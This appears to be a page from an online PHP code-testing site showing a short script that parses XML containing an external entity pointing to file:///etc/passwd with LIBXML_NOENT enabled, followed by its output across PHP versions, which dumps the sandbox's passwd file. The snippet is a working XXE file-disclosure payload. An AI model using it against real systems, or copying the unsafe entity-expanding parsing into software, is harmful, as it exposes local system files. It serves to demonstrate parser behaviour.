@ 2014-10-03T08:08:21Z <?php
$xml = '<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>';
$doc = new DOMDocument;
$doc->loadXML($xml, LIBXML_NOENT);
echo $doc->saveXML();
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Output for 7.2.29 - 7.2.33 , 7.3.16 - 7.3.33 , 7.4.3 - 7.4.33 , 8.0.0 - 8.0.30 , 8.1.0 - 8.1.28 , 8.2.0 - 8.2.18 , 8.3.0 - 8.3.6 <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>root:x:0:0::/root:/bin/bash
</foo>
Output for 5.4.0 - 5.4.45 , 5.5.0 - 5.5.38 , 5.6.0 - 5.6.40 , 7.0.0 - 7.0.33 , 7.1.0 - 7.1.33 , 7.2.0 - 7.2.26 , 7.3.0 - 7.3.13 , 7.4.0 - 7.4.1 <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin
ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin
http:x:33:33:http:/srv/http:/usr/bin/nologin
nobody:x:99:99:nobody:/:/usr/bin/nologin
systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin
systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin
systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin
systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin
systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin
</foo>
Output for 5.1.0 - 5.1.6 , 5.2.0 - 5.2.17 , 5.3.0 - 5.3.29 <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>root:x:0:0:root:/root:/bin/sh
nobody:x:99:99:nobody:/:/bin/false
</foo>
Output for 5.0.0 - 5.0.5 Notice: Use of undefined constant LIBXML_NOENT - assumed 'LIBXML_NOENT' in /in/kgaHo on line 9
Warning: DOMDocument::loadXML() expects exactly 1 parameter, 2 given in /in/kgaHo on line 9
<?xml version="1.0"?>
Output for 4.3.2 - 4.3.11 , 4.4.0 - 4.4.9 Fatal error: Cannot instantiate non-existent class: domdocument in /in/kgaHo on line 8
Process exited with code 255 . Output for 4.3.0 - 4.3.1 Fatal error: Cannot instantiate non-existent class: domdocument in /in/kgaHo on line 8
preferences:dark mode live preview
296.25 ms | 401 KiB | 459 Q